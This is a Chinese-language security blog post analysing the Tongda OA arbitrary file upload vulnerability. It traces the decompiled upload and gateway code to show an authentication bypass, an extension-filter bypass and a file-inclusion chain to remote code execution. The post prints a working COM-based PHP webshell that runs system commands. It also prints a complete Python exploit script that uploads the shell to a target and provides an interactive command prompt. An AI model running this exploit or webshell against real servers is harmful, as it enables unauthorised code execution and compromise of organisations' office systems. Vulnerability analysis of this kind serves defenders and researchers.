通达OA任意文件上传漏洞详细分析

  • A+
所属分类:安全文章



影响


影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.):

V11版 2017版 2016版 2015版 2013增强版 2013版。

这个漏洞是几个月前的漏洞,主要是学习一下这个漏洞代码的形成原理和调式过程。

该漏洞主要是通过绕过身份验证的情况下上传文件,然后通过文件包含漏洞实现代码执行



代码分析



源码经过zend 5.4加密,解密工具:

SeayDzend,可以自行百度下载



通达OA任意文件上传漏洞详细分析


在线解密

http://dezend.qiling.org/free.html


任意文件上传的关键文件

webrootispiritimupload.php


代码分析:


通达OA任意文件上传漏洞详细分析


可以看到只要判断P参数是否不为空,就开启了session


没有P参数时候


通达OA任意文件上传漏洞详细分析


有的时候


通达OA任意文件上传漏洞详细分析


继续往下走


通达OA任意文件上传漏洞详细分析


判断DEST_UID是否不为空,否则就会退出

判断DEST_UID=0的时候,如果UPLOAD_MODE不等于2就直接退出了

判断DEST_UID不等于0的时候直接判断$_FILES数量是否有,也就是判断有没有上传文件


这里可以是第二个情况,DEST_UID=0,UPLOAD_MODE=2进行下一步


通达OA任意文件上传漏洞详细分析


也可以是DEST_UID不为0进入下一步


通达OA任意文件上传漏洞详细分析


继续往下走


通达OA任意文件上传漏洞详细分析


可以这里又if语判断上传的模式,我们来看看上传的模式有哪几种,可以看到总共有1,2,3,其中1,2,3如果成功了是有回显的


通达OA任意文件上传漏洞详细分析


通达OA任意文件上传漏洞详细分析


这里设置upload_mode为1,进入upload函数


通达OA任意文件上传漏洞详细分析


通达OA任意文件上传漏洞详细分析


会判断是否/字符,然后判断上传的文件是否符合可上传的格式,我们继续走is_uploadable


通达OA任意文件上传漏洞详细分析


可以看到如果上传的格式是php,会返回false,这里用xxx.php.绕过


回过头来看upload函数,最终会返回一个$ATTACHMENTS的数组,包含了ID,和NAME


通达OA任意文件上传漏洞详细分析


继续跟进,发现ATTACHMENTS是由add_attach函数生成的


通达OA任意文件上传漏洞详细分析


继续跟进


发现$FILENAME的拼成


通达OA任意文件上传漏洞详细分析


继续往下走的时候发现$path,和文件名的最终结果


通达OA任意文件上传漏洞详细分析


各种追踪发现就是attch/im/$YM/文件夹下面


通达OA任意文件上传漏洞详细分析


其实不用这么复杂,就直接上传文件,然后搜索那个文件最终放在哪不就完事了吗?或者使用火绒剑分析行为和D盾进行文件监控


上传结合前面的分析需要的参数有


通达OA任意文件上传漏洞详细分析


这里不同的上传模式,回显的格式不一样,这里的2格式舒服点,目录就是2003,文件名对应后面的ID


通达OA任意文件上传漏洞详细分析


通达OA任意文件上传漏洞详细分析


由于这里的关键上传了文件后OA系统有个文件包含漏洞,结合文件包含漏洞就可以实现RCE


文件包含代码位置

/ispirit/interface/gateway.php


通达OA任意文件上传漏洞详细分析



首先会接受一个json数据,然后转换为数组,然后遍历这个数据,如果key是url,url就对应值


然后继续走


通达OA任意文件上传漏洞详细分析


然后走到strpos,可以看到如果出现general/,ispirit,module/就会触发文件包含构造payload

/general/../../attach/im/2003/1191415788.1.php


由于我上传的时候是phpinfo函数,是禁用了这个函数的和危险函数,这里可以使用写入一个webshell在当前执行的/ispirit/interface/目录下


通达OA任意文件上传漏洞详细分析


记得这里文件名前面要加个


通达OA任意文件上传漏洞详细分析


通达OA任意文件上传漏洞详细分析



通达OA任意文件上传漏洞详细分析


当然也可以使用COM组件bypass 危险函数


<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>


也可以直接使用文件包含配合日志getshell

直接触发nginx的错误日志,利用文件包含直接getshell


利用网上公开的脚本:


#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通达文件上传加文件包含远程代码执行import requestsimport reimport sys
def oa(url): upurl = url + '/ispirit/im/upload.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"} data = "-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"rnContent-Type: image/jpegrnrn<?phprn$command=$_POST['cmd'];rn$wsh = new COM('WScript.shell');rn$exec = $wsh->exec("cmd /c ".$command);rn$stdout = $exec->StdOut();rn$stroutput = $stdout->ReadAll();rnecho $stroutput;rn?>nrn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="P"rnrn1rn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="DEST_UID"rnrn1222222rn-----------------------------27723940316706158781839860668rnContent-Disposition: form-data; name="UPLOAD_MODE"rnrn1rn-----------------------------27723940316706158781839860668--rn" req = requests.post(url=upurl, headers=headers, data=data) filename = "".join(re.findall("2003_(.+?)|",req.text)) in_url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={"url":"../../../general/../attach/im/2003/%s.jpg"}&cmd=%s" % (filename,"echo php00py") include_req = requests.post(url=in_url, headers=headers, data=data) if 'php00py' in include_req.text: print("[+] OA RCE vulnerability ") return filename else: print("[-] Not OA RCE vulnerability ") return Falsedef oa_rce(url, filename,command): url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={"url":"../../../general/../attach/im/2003/%s.jpg"}&cmd=%s" % (filename,command) req = requests.post(url, headers=headers, data=data) print(req.text)
if __name__ == '__main__': if len(sys.argv) < 2: print("please input your url python oa_rce.py http://127.0.0.1:8181") else: url = sys.argv[1] filename = oa(url) while filename: try: command = input("[email protected]#") if command == "exit" or command == "quit": break else: oa_rce(url,filename,command) except KeyboardInterrupt: break



通达OA任意文件上传漏洞详细分析


脚本用的是COM绕过




end



通达OA任意文件上传漏洞详细分析


本文始发于微信公众号(雷石安全实验室):通达OA任意文件上传漏洞详细分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: